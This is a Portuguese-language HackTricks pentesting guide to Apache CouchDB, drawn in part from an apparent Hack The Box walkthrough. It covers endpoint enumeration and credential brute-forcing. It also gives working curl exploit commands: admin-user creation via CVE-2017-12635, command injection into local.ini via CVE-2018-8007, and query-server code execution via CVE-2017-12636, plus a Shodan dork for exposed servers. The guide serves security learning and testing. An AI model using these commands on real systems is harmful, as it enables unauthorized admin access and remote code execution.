19 KiB
5984,6984 - Pentesting CouchDB
{% hint style="success" %}
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Check the subscription plans!
- Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.
Informações Básicas
CouchDB é um banco de dados orientado a documentos versátil e poderoso que organiza dados usando uma estrutura de mapa chave-valor dentro de cada documento. Os campos dentro do documento podem ser representados como pares chave/valor, listas ou mapas, proporcionando flexibilidade no armazenamento e recuperação de dados.
Cada documento armazenado no CouchDB é atribuído a um identificador único (_id
) no nível do documento. Além disso, cada modificação feita e salva no banco de dados é atribuída a um número de revisão (_rev
). Esse número de revisão permite um rastreamento e gerenciamento eficientes de mudanças, facilitando a recuperação e sincronização de dados dentro do banco de dados.
Porta padrão: 5984(http), 6984(https)
PORT STATE SERVICE REASON
5984/tcp open unknown syn-ack
Enumeração Automática
nmap -sV --script couchdb-databases,couchdb-stats -p <PORT> <IP>
msf> use auxiliary/scanner/couchdb/couchdb_enum
Enumeração Manual
Banner
curl http://IP:5984/
Isso emite uma solicitação GET para a instância do CouchDB instalada. A resposta deve parecer algo como uma das seguintes:
{"couchdb":"Welcome","version":"0.10.1"}
{"couchdb":"Welcome","version":"2.0.0","vendor":{"name":"The Apache Software Foundation"}}
{% hint style="info" %}
Note que se ao acessar a raiz do couchdb você receber um 401 Unauthorized
com algo como: {"error":"unauthorized","reason":"Authentication required."}
você não poderá acessar o banner ou qualquer outro endpoint.
{% endhint %}
Info Enumeration
Estes são os endpoints onde você pode acessar com uma GET request e extrair algumas informações interessantes. Você pode encontrar mais endpoints e descrições mais detalhadas na documentação do couchdb.
/_active_tasks
Lista de tarefas em execução, incluindo o tipo de tarefa, nome, status e ID do processo./_all_dbs
Retorna uma lista de todos os bancos de dados na instância CouchDB./_cluster_setup
Retorna o status do nó ou cluster, conforme o assistente de configuração do cluster./_db_updates
Retorna uma lista de todos os eventos de banco de dados na instância CouchDB. A existência do banco de dados_global_changes
é necessária para usar este endpoint./_membership
Exibe os nós que fazem parte do cluster comocluster_nodes
. O campoall_nodes
exibe todos os nós que este nó conhece, incluindo os que fazem parte do cluster./_scheduler/jobs
Lista de trabalhos de replicação. Cada descrição de trabalho incluirá informações de origem e destino, ID de replicação, um histórico de eventos recentes e algumas outras coisas./_scheduler/docs
Lista de estados de documentos de replicação. Inclui informações sobre todos os documentos, mesmo nos estadoscompleted
efailed
. Para cada documento, retorna o ID do documento, o banco de dados, o ID de replicação, origem e destino, e outras informações./_scheduler/docs/{replicator_db}
/_scheduler/docs/{replicator_db}/{docid}
/_node/{node-name}
O endpoint/_node/{node-name}
pode ser usado para confirmar o nome do nó Erlang do servidor que processa a solicitação. Isso é mais útil ao acessar/_node/_local
para recuperar essa informação./_node/{node-name}/_stats
O recurso_stats
retorna um objeto JSON contendo as estatísticas do servidor em execução. A string literal_local
serve como um alias para o nome do nó local, então para todas as URLs de stats,{node-name}
pode ser substituído por_local
, para interagir com as estatísticas do nó local./_node/{node-name}/_system
O recurso _system retorna um objeto JSON contendo várias estatísticas de nível de sistema para o servidor em execução_._ Você pode usar ___local
como {node-name} para obter informações do nó atual./_node/{node-name}/_restart
/_up
Confirma que o servidor está ativo, em execução e pronto para responder a solicitações. Semaintenance_mode
fortrue
ounolb
, o endpoint retornará uma resposta 404./_uuids
Solicita um ou mais Identificadores Únicos Universais (UUIDs) da instância CouchDB./_reshard
Retorna uma contagem de trabalhos concluídos, falhados, em execução, parados e totais, juntamente com o estado de redistribuição no cluster.
Mais informações interessantes podem ser extraídas conforme explicado aqui: https://lzone.de/cheat-sheet/CouchDB
Database List
curl -X GET http://IP:5984/_all_dbs
Se essa solicitação responder com um 401 não autorizado, então você precisa de algumas credenciais válidas para acessar o banco de dados:
curl -X GET http://user:password@IP:5984/_all_dbs
Para encontrar Credenciais válidas, você poderia tentar fazer brute force no serviço.
Este é um exemplo de uma resposta do couchdb quando você tem privilegios suficientes para listar bancos de dados (É apenas uma lista de dbs):
["_global_changes","_metadata","_replicator","_users","passwords","simpsons"]
Database Info
Você pode obter algumas informações do banco de dados (como número de arquivos e tamanhos) acessando o nome do banco de dados:
curl http://IP:5984/<database>
curl http://localhost:5984/simpsons
#Example response:
{"db_name":"simpsons","update_seq":"7-g1AAAAFTeJzLYWBg4MhgTmEQTM4vTc5ISXLIyU9OzMnILy7JAUoxJTIkyf___z8rkQmPoiQFIJlkD1bHjE-dA0hdPFgdAz51CSB19WB1jHjU5bEASYYGIAVUOp8YtQsgavfjtx-i9gBE7X1i1D6AqAX5KwsA2vVvNQ","sizes":{"file":62767,"external":1320,"active":2466},"purge_seq":0,"other":{"data_size":1320},"doc_del_count":0,"doc_count":7,"disk_size":62767,"disk_format_version":6,"data_size":2466,"compact_running":false,"instance_start_time":"0"}
Lista de Documentos
Liste cada entrada dentro de um banco de dados
curl -X GET http://IP:5984/{dbname}/_all_docs
curl http://localhost:5984/simpsons/_all_docs
#Example response:
{"total_rows":7,"offset":0,"rows":[
{"id":"f0042ac3dc4951b51f056467a1000dd9","key":"f0042ac3dc4951b51f056467a1000dd9","value":{"rev":"1-fbdd816a5b0db0f30cf1fc38e1a37329"}},
{"id":"f53679a526a868d44172c83a61000d86","key":"f53679a526a868d44172c83a61000d86","value":{"rev":"1-7b8ec9e1c3e29b2a826e3d14ea122f6e"}},
{"id":"f53679a526a868d44172c83a6100183d","key":"f53679a526a868d44172c83a6100183d","value":{"rev":"1-e522ebc6aca87013a89dd4b37b762bd3"}},
{"id":"f53679a526a868d44172c83a61002980","key":"f53679a526a868d44172c83a61002980","value":{"rev":"1-3bec18e3b8b2c41797ea9d61a01c7cdc"}},
{"id":"f53679a526a868d44172c83a61003068","key":"f53679a526a868d44172c83a61003068","value":{"rev":"1-3d2f7da6bd52442e4598f25cc2e84540"}},
{"id":"f53679a526a868d44172c83a61003a2a","key":"f53679a526a868d44172c83a61003a2a","value":{"rev":"1-4446bfc0826ed3d81c9115e450844fb4"}},
{"id":"f53679a526a868d44172c83a6100451b","key":"f53679a526a868d44172c83a6100451b","value":{"rev":"1-3f6141f3aba11da1d65ff0c13fe6fd39"}}
]}
Ler Documento
Leia o conteúdo de um documento dentro de um banco de dados:
curl -X GET http://IP:5984/{dbname}/{id}
curl http://localhost:5984/simpsons/f0042ac3dc4951b51f056467a1000dd9
#Example response:
{"_id":"f0042ac3dc4951b51f056467a1000dd9","_rev":"1-fbdd816a5b0db0f30cf1fc38e1a37329","character":"Homer","quote":"Doh!"}
CouchDB Privilege Escalation CVE-2017-12635
Graças às diferenças entre os analisadores JSON do Erlang e do JavaScript, você poderia criar um usuário administrador com as credenciais hacktricks:hacktricks
com a seguinte solicitação:
curl -X PUT -d '{"type":"user","name":"hacktricks","roles":["_admin"],"roles":[],"password":"hacktricks"}' localhost:5984/_users/org.couchdb.user:hacktricks -H "Content-Type:application/json"
Mais informações sobre esta vulnerabilidade aqui.
CouchDB RCE
Visão Geral da Segurança do Cookie Erlang
Exemplo daqui.
Na documentação do CouchDB, especificamente na seção sobre configuração de cluster (link), discute-se o uso de portas pelo CouchDB em modo de cluster. É mencionado que, assim como no modo autônomo, a porta 5984
é utilizada. Além disso, a porta 5986
é para APIs locais do nó e, o mais importante, o Erlang requer a porta TCP 4369
para o Daemon do Mapeador de Portas Erlang (EPMD), facilitando a comunicação entre nós dentro de um cluster Erlang. Essa configuração forma uma rede onde cada nó está interligado a todos os outros nós.
Um aviso de segurança crucial é destacado em relação à porta 4369
. Se esta porta for tornada acessível pela Internet ou por qualquer rede não confiável, a segurança do sistema depende fortemente de um identificador único conhecido como "cookie." Este cookie atua como uma salvaguarda. Por exemplo, em uma lista de processos dada, o cookie nomeado "monster" pode ser observado, indicando seu papel operacional na estrutura de segurança do sistema.
www-data@canape:/$ ps aux | grep couchdb
root 744 0.0 0.0 4240 640 ? Ss Sep13 0:00 runsv couchdb
root 811 0.0 0.0 4384 800 ? S Sep13 0:00 svlogd -tt /var/log/couchdb
homer 815 0.4 3.4 649348 34524 ? Sl Sep13 5:33 /home/homer/bin/../erts-7.3/bin/beam -K true -A 16 -Bd -- -root /home/homer/b
Para aqueles interessados em entender como esse "cookie" pode ser explorado para Execução Remota de Código (RCE) no contexto de sistemas Erlang, uma seção dedicada está disponível para leitura adicional. Ela detalha as metodologias para aproveitar cookies Erlang de maneiras não autorizadas para obter controle sobre os sistemas. Você pode explorar o guia detalhado sobre o abuso de cookies Erlang para RCE aqui.
Explorando CVE-2018-8007 através da Modificação de local.ini
Exemplo daqui.
Uma vulnerabilidade recentemente divulgada, CVE-2018-8007, que afeta o Apache CouchDB, foi explorada, revelando que a exploração requer permissões de escrita no arquivo local.ini
. Embora não seja diretamente aplicável ao sistema alvo inicial devido a restrições de segurança, modificações foram feitas para conceder acesso de escrita ao arquivo local.ini
para fins de exploração. Passos detalhados e exemplos de código são fornecidos abaixo, demonstrando o processo.
Primeiro, o ambiente é preparado garantindo que o arquivo local.ini
seja gravável, verificado listando as permissões:
root@canape:/home/homer/etc# ls -l
-r--r--r-- 1 homer homer 18477 Jan 20 2018 default.ini
-rw-rw-rw- 1 homer homer 4841 Sep 14 17:39 local.ini
-r--r--r-- 1 root root 4841 Sep 14 14:30 local.ini.bk
-r--r--r-- 1 homer homer 1345 Jan 14 2018 vm.args
Para explorar a vulnerabilidade, um comando curl é executado, direcionando a configuração cors/origins
em local.ini
. Isso injeta uma nova origem juntamente com comandos adicionais na seção [os_daemons]
, com o objetivo de executar código arbitrário:
www-data@canape:/dev/shm$ curl -X PUT 'http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/cors/origins' -H "Accept: application/json" -H "Content-Type: application/json" -d "0xdf\n\n[os_daemons]\ntestdaemon = /usr/bin/touch /tmp/0xdf"
A verificação subsequente mostra a configuração injetada em local.ini
, contrastando-a com um backup para destacar as mudanças:
root@canape:/home/homer/etc# diff local.ini local.ini.bk
119,124d118
< [cors]
< origins = 0xdf
< [os_daemons]
< test_daemon = /usr/bin/touch /tmp/0xdf
Inicialmente, o arquivo esperado (/tmp/0xdf
) não existe, indicando que o comando injetado ainda não foi executado. Investigações adicionais revelam que processos relacionados ao CouchDB estão em execução, incluindo um que pode potencialmente executar o comando injetado:
root@canape:/home/homer/bin# ps aux | grep couch
Ao encerrar o processo CouchDB identificado e permitir que o sistema o reinicie automaticamente, a execução do comando injetado é acionada, confirmada pela existência do arquivo anteriormente ausente:
root@canape:/home/homer/etc# kill 711
root@canape:/home/homer/etc# ls /tmp/0xdf
/tmp/0xdf
Esta exploração confirma a viabilidade da exploração do CVE-2018-8007 sob condições específicas, notavelmente a exigência de acesso gravável ao arquivo local.ini
. Os exemplos de código fornecidos e os passos procedimentais oferecem um guia claro para replicar a exploração em um ambiente controlado.
Para mais detalhes sobre o CVE-2018-8007, consulte o aviso da mdsec: CVE-2018-8007.
Explorando o CVE-2017-12636 com Permissões de Gravação no local.ini
Exemplo daqui.
Uma vulnerabilidade conhecida como CVE-2017-12636 foi explorada, que permite a execução de código via o processo CouchDB, embora configurações específicas possam impedir sua exploração. Apesar de numerosas referências de Prova de Conceito (POC) disponíveis online, ajustes são necessários para explorar a vulnerabilidade na versão 2 do CouchDB, diferindo da versão 1.x, comumente visada. Os passos iniciais envolvem verificar a versão do CouchDB e confirmar a ausência do caminho esperado dos servidores de consulta:
curl http://localhost:5984
curl http://0xdf:df@localhost:5984/_config/query_servers/
Para acomodar a versão 2.0 do CouchDB, um novo caminho é utilizado:
curl 'http://0xdf:df@localhost:5984/_membership'
curl http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/query_servers
As tentativas de adicionar e invocar um novo servidor de consulta foram encontradas com erros relacionados a permissões, conforme indicado pela seguinte saída:
curl -X PUT 'http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/query_servers/cmd' -d '"/sbin/ifconfig > /tmp/df"'
Uma investigação mais aprofundada revelou problemas de permissão com o arquivo local.ini
, que não era gravável. Ao modificar as permissões do arquivo com acesso root ou homer, tornou-se possível prosseguir:
cp /home/homer/etc/local.ini /home/homer/etc/local.ini.b
chmod 666 /home/homer/etc/local.ini
As tentativas subsequentes de adicionar o servidor de consulta foram bem-sucedidas, como demonstrado pela ausência de mensagens de erro na resposta. A modificação bem-sucedida do arquivo local.ini
foi confirmada por meio da comparação de arquivos:
curl -X PUT 'http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/query_servers/cmd' -d '"/sbin/ifconfig > /tmp/df"'
O processo continuou com a criação de um banco de dados e um documento, seguido por uma tentativa de executar código através de um mapeamento de visualização personalizado para o novo servidor de consulta adicionado:
curl -X PUT 'http://0xdf:df@localhost:5984/df'
curl -X PUT 'http://0xdf:df@localhost:5984/df/zero' -d '{"_id": "HTP"}'
curl -X PUT 'http://0xdf:df@localhost:5984/df/_design/zero' -d '{"_id": "_design/zero", "views": {"anything": {"map": ""} }, "language": "cmd"}'
Um resumo com uma carga útil alternativa fornece mais informações sobre a exploração da CVE-2017-12636 sob condições específicas. Recursos úteis para explorar essa vulnerabilidade incluem:
Shodan
port:5984 couchdb
Referências
- https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html
- https://0xdf.gitlab.io/2018/09/15/htb-canape.html#couchdb-execution
{% hint style="success" %}
Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.